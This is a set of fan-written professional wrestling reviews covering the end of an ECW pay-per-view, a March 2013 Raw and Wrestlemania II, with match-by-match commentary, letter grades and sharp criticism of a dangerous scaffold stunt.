Also the non Alliance team has become face since the last show somehow. Anderson works on Doring’s arm so at least he’s got that part of the gimmick down. Anderson is an interesting guy and not bad in the ring. This Billy guy simply isn’t. Doring hits the Stroke but it’s called the G-Spot Sweet here. Oh dear. It all breaks down of course and the heels are in trouble.

 

Willes takes a Lancaster Lariat of Lust. I can’t make these names up. Roadkill goes up for his top rope splash but Elektra turns heel and crotches him, allowing Anderson to hit the spinebuster for the pin as Elektra joins them.

Rating: C+. I’m not sure why but I liked this. They kept this WAY reeled in and it worked quite well. It’s a basic story and it came off well. Maybe it’s just a basic wrestling match happening and my mind being blown by that. Maybe Elektra’s hips did that. I’m not sure, but this was fine.

The Impact Players promise to get their tag belts back. Dang Dawn was hot.

Simon Diamond vs. Kid Kash

Seriously, a gimmick based on Kid Rock? Could we not get Billy Joel or Englebert Humperdink? And here’s Mike Awesome. No one gets why, but here he is. Oh and he and Raven are the tag champions now to go with the world title. He actually says get out of the ring or die. Diamond and company bail, leaving us with this.

Kid Kash vs. Mike Awesome

Sure why not. Kash kicks out of the splash early. It’s all Mike here as you wouldn’t expect. Shouldn’t Kash get in at least an early flurry? Ah there we go. Kash could do high spots if nothing else. For some reason I liked him when I was 12. It was a very strange time.

 

Kash hits a modified Pedigree on Awesome’s manager but gets knocked the heck out by Awesome. Kash hits a rana which of course DOES NOTHING because that move is worthless and gets knocked out again. And there’s your table. Powerbomb through it in 3, 2, 1…yeah there it is. Awesome wins of course.

Rating: D. Well Awesome lives up to his name and Kash gets destroyed. Was there a reason to not have the original match or am I just missing something? Apparently this was a world title match too. Pay no attention to the fact that we’re not told this until the very end and by that I mean when they say he’s still champion but whatever.

Post match Jazz comes out to help Kash but Jado and Gedo, two guys from Japan come out with Diamond to beat up Jazz. Here’s Nova and Chetti for the save and of course it’s an impromptu match!

Jado/Gedo vs. Nova/Chris Chetti

I’ve heard incredibly mixed reviews on Jado and Gedo but I think I’ve seen one match of theirs and it was a 6 man. We hear about how great Gedo is and he’s got a decent resume actually with wins over Jericho, Benoit and Malenko. Joey: Nova and Chetti have been together as a team now for a year minus the six months Chetti was out with a back injury.

 

I think that’s grounds for just saying they’ve been together for awhile. They tag with other people though but it’s all good. The Japanese guys like to mock opponents apparently. Joey can you freaking say who is who? I think Gedo is in the ring but I’m not sure. This show has been such a train wreck I’m not sure. Ah never mind that’s Jado. Gedo has a shirt on. Got it.

 

Nova gets a NICE superkick to the throat of Jado. That looked great and sounded great too. Chetti tries one and does quite well too. His only missed by six inches or so. Cyrus doesn’t know the referee’s name which means nothing at all but I need to fill in some space here. The Tidal Wave hits Gedo to end it. It’s a combination splash and leg drop but both guys jump from the same rope. It looked pretty cool.

Rating: D+. This was just a mess. It wasn’t bad or anything, but it was just a total mess. I know I said that already but it’s the only way to put it. Why are the Japanese guys here? Why did Nova and Chetti pick this time to run down? How was a contract agreed to and sanctioned so fast? Yes I know I’m nitpicking but dang man. That’s two in a row with nothing but random match to explain it. That’s not good.

Dangerously talks about doing well tonight. Elektra is REALLY, REALLY bad at talking. Good grief SHUT UP ALREADY!

TV Title Tournament SemiFinals: Little Guido vs. Super Crazy

Hey look: another cruiserweight match but this time there’s something close to meaning! The winner fights Rhyno for the title in the main event. The Network doesn’t like Crazy apparently. Crazy hits a great moonsault to the floor. Again this match is just all over the place and going so fast you can’t tell if anything is working or not.

 

We’re told that Heenan put vodka in his water cup. That explains a lot. Guido hooks a Fujiwara Armbar on Crazy on the floor to take over. See what I mean? That was decent, but it came and went so fast that it’s hard to tell if it was good or not. And there’s a chair. Wow we went awhile without many weapons tonight. Crazy gets the ten punches in Spanish and then does it again to Big Sal.

 

You have to give the ECW fans this: they were well rehearsed. During this fight for a belt we get a fight over a belt. See how low I have to sink for jokes here? Guido misses an elbow and goes through a table. A brainbuster and a moonsault gives us our finals.

Rating: C. So? That’s all I can say here. So freaking what? This match or a combination of these two and Tajiri has been on every show for like 8 months now. SO? I mean seriously, why in the world should I care? They had a decent match and then they’ll likely have more later. It’s entertaining and to be fair one is getting a midcard title shot, but I flat out do not see a reason to care one bit here.

Buy this video game! You can wrestle as Joey Styles! Yeah the game completely sucked as it was just War Zone but with ECW characters and blood.

W*ING Kanemura vs. Balls Mahoney

Kinemura is from FMW and is something close to a hardcore legend. THIS gets a big match intro? Joey insists that this will be a hardcore match. Thanks Joey as I never would have guessed that. Kanemura hits a nice senton from the top. Oh and his first name is Kintaro here. He’s more known as W*ING though (and yes that’s the real spelling) so I’ll go with that. Not like it matters though as it’s a 2 minute match with a sitout powerslam ending it with Balls getting the win.

Rating: N/A. Just nothing here but a transitional thing to this.

The Baldies run in and beat up Balls but here’s New Jack and THAT FREAKING SONG. This is a very infamous moment so I’m not going to call this an actual match or anything. Expect a long rant later on. New Jack beats them up with stuff including a Playstation and I don’t care at all.

 

We fight over a pizza cutter for a bit and this is just wasting my time. Come on I have the Smackdown Pilot waiting on me but I have to do this first. And let’s go into the crowd because that hasn’t been done at all tonight. And now we get to the famous part of this, as we fight to a scaffolding.

There are two tables set on top of each other and they climb up the scaffolding. It should definitely be noted that it’s just that: a scaffold. In scaffold matches there was usually at least something solid to stand on. This is a beam that is only a few inches wide. They’re both clearly scared to death and I can’t blame them.

 

This is one of the scariest things I’ve ever seen. And there it is. New Jack I guess tries a suplex off the scaffold. It doesn’t work. At all. New Jack completely misses the tables and lands feet first. Grimes on the other hand lands on his head, and I mean both versions of his. Grimes lands head first and his body lands on New Jack’s head. Both guys are of course completely unconscious and we go to a wide shot while medics come in.

 

Remember that Grimes weighs about 400lbs. Sure let’s show replays and keep the freaking song going while the fans cheer. New Jack had brain damage and was at least temporarily blinded by this. It resulted in him attempting to severely injure or even kill Grimes (his words) at another show after ECW closed. This brings the show to a complete halt and lets the fans cheer incessantly.

So again we have violence for the sake of violence and stunts for the sake of stunts. And look what happened: two guys were almost killed because of it. But hey, the people are cheering right? Hey, people are going to buy more New Jack stuff now because he’s hardcore right?

 

This is another example of having no regard or respect for the lives of workers. Having them stand on a two inch bar 20 feet in the air is just flat out irresponsible, negligent and arguably criminal. Why in the world did we need to do this? Ah yes: we needed to top what we did last month.

 

Seriously, why do we have to do this? Instead of a regular wrestling match, we had to see a crutch to the balls and a vacuum shot to the back before we dive twenty feet and nearly kill two men. Not only that, but in a promotion called XPW, they had another match and New Jack tried to kill him for revenge.

 

And these incidents happened on a professional wrestling show. What do these things have to do with professional wrestling? I’ve yet to see any connection between being slammed into the concrete from a scaffold and a wrestling match. This was just flat out not needed and the fact that they didn’t die, which isn’t an exaggeration as allegedly a six inch difference would have killed New Jack, is a perk is just not acceptable.

After Joey and Cyrus stall for time, it’s time for the three way dance.

Tag Titles: Tommy Dreamer/Masato Tanaka vs. Impact Players vs. Mike Awesome/Raven

So the Impact Players were the champions and Tanaka/Dreamer beat them and held the belts for a week. Then Awesome and Raven took the belts and are defending here. They won them 8 days ago so the Impact Players lost the titles just over two weeks ago. Raven and Awesome hit the ring at a sprint and we’re already going. Awesome takes out Justin and Jason in a nice looking dive.

 

Dreamer gets a nice pop and here are the other former champions who were just thrown together but that makes them a great team of course. We get a Rocky Horror reference and Cyrus points out that the Players are the only real team here. Raven and Dreamer fight in the ring which just feels right.

 

Awesome goes through a table as it’s just a massive mess rather than anything close to a coherent match. The Roaring Elbow puts Awesome and Raven out in like 4 minutes. Ok then. So get the nameplates ready for the Impact Players again. Oh come on like they’re going to lose to Dreamer and Tanaka. Dreamer is bleeding. Justin botches a spinning DDT to the complete lack of shock from me.

 

Hey look: TAGGING IN A TAG TEAM MATCH! Dreamer hits some stuff to make the hot tag and Jason comes in to make it 3-2 which is just fine. Tanaka beats them both up just because he can and we’re doing nothing but near falls already. A kendo stick to the head of Dreamer puts him down and at least we get Diamond Dust so I can be somewhat happy.

 

A belt shot and spike piledriver to Dreamer give the Players the belts back. Cyrus runs down to celebrate. The belts would be vacated in about a month when Justin won the world title and wouldn’t be replaced for about four months, so you won’t see a PPV tag title match for a good while.

Rating: D. Again just a total mess here that nothing came from. Also this lasted 9 more minutes. Everything has flown by here and there has been no substance to anything whatsoever. Also, why drop the belts if you’re just going to get them back in two weeks anyway? Ah right: it’s ECW. I just don’t care again here.

ECW TV Title Tournament Finals: Rhyno vs. Super Crazy

Cyrus just stayed in the ring and introduced this so there was almost no transition at all. Now common sense booking would say Sandman interferes here and costs Rhyno the belt. The fans get this too so they cheer for Sandman the majority of the match, completely taking the focus off of the guys in the match.

 

Before the match though Paul comes out and cusses out Cyrus, dropping about 5 F Bombs in just over a minute. And here’s Gertner to yell at Cyrus as well. He doesn’t do anything of course, but here’s Super Crazy. I’ll give them points for elevating a midcard guy, but no one cares as neither guy has beaten RVD so there’s no point to this really. The company is completely dead at this point but they kept going for about another 10 months or so.

 

And Crazy dominates the monster with flips and stuff as the fans chant for Sandman. It’s table time already and Crazy goes through it. Rhyno hits a nice powerbomb for two. The Triple Moonsault hits and down goes the referee. Tajiri comes down and mists Crazy then kicks him. Oh look: ANOTHER table.

 

Rhyno mocks RVD, which of course brings him out to make whoever wins this look even less important. Scotty freaking Riggs comes in to help and RVD puts Rhyno through a table. Great way to make him look important. Crazy hits a moonsault to win the title.

 

He would hold it for a month then Tajiri would hold it for two weeks and then Rhyno would hold it for a full year save for a two week reign by Kid Kash in August. Rhyno beats everyone up afterwards and here’s Sandman who breaks the stick over his head. Metallica plays and the faces celebrate to end the show after two hours and twenty minutes. WOW.

Rating: D. I never would have dreamed it possible but this was somehow worse than the previous stuff. It had at least four different people running in and four tables used. What’s the point of having a champion again? This was just bad and RVD beating up Rhyno on one good leg is just idiotic. The Sandman chants didn’t help either. Horrible finish to a horrible PPV.

Overall Rating: F+. Where do I start? For one thing, the longest match of the night is the Bull Rope match at ten minutes and thirteen seconds. After that it’s the tag title match which is in essence a 2/3 falls match at 9 minutes and three seconds. Other than that I don’t think anything broke 8 minutes in length.

 

SERIOUSLY? You end a PPV at 10:20 which includes a long opening segment and a highlight package at the end and you have DUSTY FREAKING RHODES win the longest match of the night? Like I said throughout this review, it felt like they were in a rush all night. What could they possibly have been rushing to? They could have had another thirty minutes on this show but instead almost everything stays under 9 minutes?

 

Are you telling me you couldn’t add five more minutes to the tag titles? Or to Guido vs. Crazy? Or geez had ANOTHER MATCH? Dang even add five minutes to the Mahoney/Kanemura match and it would have helped. I get that the botch (which I’ll spare you more complaining about) in the New Jack thing made them run short, but you can’t thrown two guys out there for a squash or something?

 

Even with the intros and such it would have filled in some time. Or even have some promos and it gets better. Just give us SOMETHING dude. Was there a reason for the Sandman/Rhyno match not happening? Don’t tell me an injury, because it’s not like Sandman matches require a ton of actual wrestling or anything. Just a horrible PPV and the worse ECW show in a LONG time.




Monday Night Raw – March 11, 2013: This Show Is Uncle Paul Approved

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Date: March 11, 2013
Location: Bankers Fieldhouse Arena, Indianapolis, Indiana
Commentators: Michael Cole, Jerry Lawler

Big Show vs. Seth Rollins

This is a result of Shield beating up Big Show after Raw went off the air last week. Rollins runs at Big Show to start but is easily shoves away. Rollins is sent to the floor with Big Show in pursuit. The other members of the Shield jump him for the DQ at 41 seconds.

Punk yells at Vickie Guerrero and Brad Maddox about what happened with Kane, so Vickie makes it Kane vs. Punk in a No DQ match.

We get a classic Bearer moment with him making his debut on the Brother Love Show.

Daniel Bryan vs. Dolph Ziggler

This is a result of Bryan making fun of AJ after she had water thrown on her last week. Bryan starts fast with a surfboard submission, only to have Ziggler escape and dropkick him down for two. Bryan comes back with an elbow in the corner and a stomp to the arm before backdropping Ziggler out to the floor. Bryan loads up the suicide dive but Langston gets on his apron to stop him in his tracks as we take a break.

Bryan tries a standing huricanrana but gets dropped onto the top rope. The Fameasser gets two for Dolph and he pounds away on the chest. AJ gets on the apron to distract the referee as Bryan hooks the No Lock, only to have Langston pull him to the ropes. Another attempt at the No Lock is countered and Ziggler hits the Zig Zag for the pin at 11:30.

Tensai vs. Fandango

Trailer for G.I. Joe 2.

Another Paul Bearer moment is him returning with Undertaker at Wrestlemania 20.

Rhodes Scholars vs. New Age Outlaws

Kofi Kingston vs. Mark Henry

In the back, Cody makes mustache jokes to Kaitlyn when Sandow shows up. He says he has a surprise for Cody and here are the returning Bella Twins. Kaitlyn walks off in disgust. Vickie comes up and gives the Scholars a match with Randy Orton and Sheamus.

Ryback vs. Heath Slater

Trailer for The Call.

Alberto Del Rio vs. Antonio Cesaro

Non-title here as usual. Before the match Del Rio says he was born in Mexico but made in America. Alberto hits a quick cross body for two but Cesaro comes back with a forearm to the head. He pounds down Del Rio before hooking a fast chinlock. The world champion comes back with some clotheslines and a tilt-a-whirl backbreaker. The low superkick and Backstabber get two each and Del Rio goes up top. He jumps into the European uppercut for two though and follows it up with an attempted German suplex. Del Rio easily counters into the cross armbreaker for the submission at 4:40.

Kane is holding the urn and has nothing to say.

We get a video recapping Cena vs. Rock over the last two years.

Rhodes Scholars vs. Randy Orton/Sheamus

During the break, Shield attacked Orton and Sheamus.

We get some Touts from fans about Paul Bearer.

Chris Jericho vs. The Miz

Post match Barrett takes both finishers.

We get a video from a Wrestlemania XI vignette which parodies NYPD Blue and has Bearer in drag, saying he has nothing to do with Yokozuna disappearing. A gong sounds, the lights go out, the lights come back on, Bearer is in a male suit. 1995 was weird.

Jack Swagger vs. Sin Cara

Ryback vs. Mark Henry on Smackdown.

CM Punk vs. Kane

No DQ here. Punk dives through the ropes to attack Kane to start but Kane comes back with an uppercut. He drops Punk throat first onto the barricade and loads up the announce table, only to have Punk hit Kane in the ribs with the ring bell. Back inside Punk shoves Kane off the top and hits the Macho Elbow for two before nailing the knee in the corner. Kane throws him over the top and we take a break at 11:05pm.

Undertaker and Kane do their kneeling salute to Bearer, but Punk hits Kane in the back with the urn over and over before leaving with it.

Overall Rating: B. This show did a lot for Wrestlemania, but at the same time the problem was how packed it was. There was no room to breathe on this show and it felt really long at about the two hour mark. I did like the stories being told and all the angle advancement we got, plus the Bearer stuff was very nice. Good but LONG show tonight.

Results

Big Show b. Seth Rollins via DQ when Shield interfered

Dolph Ziggler b. Daniel Bryan – Zig Zag

New Age Outlaws b. Rhodes Scholars via DQ when Brock Lesnar interfered

Ryback b. Heath Slater – Shell Shock

Alberto Del Rio b. Antonio Cesaro – Cross Armbreaker

Sheamus/Randy Orton b. Rhodes Scholars – Brogue Kick to Sandow

The Miz vs. Chris Jericho went to a no contest when Wade Barrett interfered

Jack Swagger b. Sin Cara – Patriot Lock

Kane b. CM Punk – Chokeslam

Remember to follow me on Twitter @kbreviews




Wrestlemania Count-Up – Wrestlemania II: Three Times The Suck

Wrestlemania II
Date: April 7, 1986
Location: Nassau Veterans Memorial Coliseum, New York City, New York/Rosemont Horizon, Chicago, Illinois/Los Angeles Memorial Sports Arena, Los Angeles, California
Attendance: 16,585 (New York), 9,000 (Chicago), 14,500 (Los Angeles), 40,085 (Total)
Commentators: Vince McMahon, Susan St. James, Gene Okerlund, Gorilla Monsoon, Cathy Lee Crosby, Alfred Hayes, Jesse Ventura, Elvira

This is on a Monday for some reason.

This was a tape I watched to death back when I was a kid so the theme music for this brings a smile to my face.

Vince opens things up in New York and introduces Susan St. James, a popular actress of the day, to be his co-commentator.

Ray Charles sings America the Beautiful.

Gene is in Chicago and welcomes us to the city for later on.

Paul Orndorff vs. Don Muraco

Intercontinental Title: George Steele vs. Randy Savage

Steele does a freaky kind of dance and Savage immediately bails to the floor. That works so well that they do it again and make it three times until FINALLY George chases after him. Steele catches Savage going back in and bites his calf before they head back in. Randy hits a running knee to the chest but Steele easily lifts him into the air and chokes him down. George gets caught looking at Liz though and is tied up in the ropes so Savage pounds away.

Savage and Liz immediately bail so Steele eats another buckle.

Bill Fralic (a football player) and Big John Studd are both in a battle royal later today and they talk some trash, once again being drowned out by Fink.

Vince asks Susan if she likes snakes. Make your own jokes.

Jake Roberts vs. George Wells

Jake wraps George up in the snake post match and makes Wells foam at the mouth.

Hogan predicts T to win and says his ribs will be fine in the cage tonight.

Roddy Piper vs. Mr. T.

Off to Chicago!

Gene and Gorilla bring in Kathy Lee Crosby to do commentary.

Corporal Kirchner vs. Nikolai Volkoff

Gene takes over the ring announcing for the NFL/WWF battle royal. There are six football players and fourteen wrestlers. Dick Butkus is a guest referee.

Battle Royal

NFL: Jimbo Covert, Harvey Martin, Ernie Holmes, Bill Fralic, Russ Francis, William Perry

WWF: Pedro Morales, Tony Atlas, Ted Arcidi, Dan Spivey, Hillbilly Jim, King Tonga, Iron Sheik, B. Brian Blair, Jim Brunzell, Big John Studd, Bruno Sammartino, Jim Neidhart, Bret Hart

We look at the end of the battle royal again.

Tag Titles: Dream Team vs. British Bulldogs

Greg gets in a few shots in the corner including a forearm to the back to take over and finally bring in Brutus. He cranks on the arm and is immediately gorilla pressed down by Smith. Dynamite comes in again and gets two off a small package. Beefcake makes a blind tag though and Valentine comes in off the top via another forearm to the back and the champions take over. Kid comes right back and pounds away before bringing Smith back in.

The Bulldogs hit a double headbutt for two for Kid but Brutus comes in sans tag to switch momentum right back. Valentine gets two off a kneeling piledriver but falls victim to the Arn Anderson self-crotching mistake. He continues the Horsemen theme by going up top and getting slammed down ala Flair as everything breaks down. Dynamite gets sent to the floor so Smith comes in with the powerslam (not yet the finisher) for two on Valentine.

Off to Los Angeles.

Ricky Steamboat vs. Hercules Hernandez

Adrian Adonis vs. Uncle Elmer

Funk Brothers vs. Junkyard Dog vs. Junkyard Dog/Tito Santana

Hoss gets back in for a crisscross with Terry hitting Tito in the back with a knee to take over. Tito gets knocked to the floor and JYD has to chase Jimmy off a few times before throwing Santana back in. Terry gets two off a suplex and argues with the referee a bit before getting suplexed himself. They hit the ropes and collide but Terry falls into his own corner to bring in Hoss. The Funks hit a double clothesline which gets two for Terry who is getting frustrated.

We set up the cage, which is the big blue kind for the first time ever.

Elvira sends it to New York for comments from Susan and Vince.

WWF World Title: Hulk Hogan vs. King Kong Bundy

Escape only here, as it should be. Tommy Lasorda of the LA Dodgers is guest ring announcer. Ricky Schroder, a child actor, is guest timekeeper and Robert Conrad, an adult actor, is guest referee. Hogan starts firing off right hands to start and knocks Bundy into the cage before choking Bundy with his own singlet. The following clothesline in the corner has Bundy in even more trouble and a forearm to the head staggers him even more. All Hogan so far.

Hogan beats up Heenan to close the show.

Ratings Comparison

Paul Orndorff vs. Don Muraco

Original: D+

Redo: D

Randy Savage vs. George Steele

Original: C-

Redo: C-

Jake Roberts vs. George Wells

Original: F

Redo: D+

Mr. T. vs. Roddy Piper

Original: F

Redo: D

Fabulous Moolah vs. Velvet McIntyre

Original: N/A

Redo: N/A

Corporal Kirschner vs. Nikolai Volkoff

Original: D-

Redo: N/A

Battle Royal

Original: B

Redo: D

British Bulldog vs. Dream Team

Original: B-

Redo: B

Rick Steamboat vs. Hercules Hernandez

Original: C-

Redo: C-

Adrian Adonis vs. Uncle Elmer

Original: N/A

Redo: D-

Terry Funk/Hoss Funk vs. Tito Santana/Junkyard Dog

Original: B-

Redo: B-

Hulk Hogan vs. King Kong Bundy

Original: B-

Redo: D

Overall Rating

Original: D+

Redo: D

Dang those must have been the strong rose colored glasses back then.

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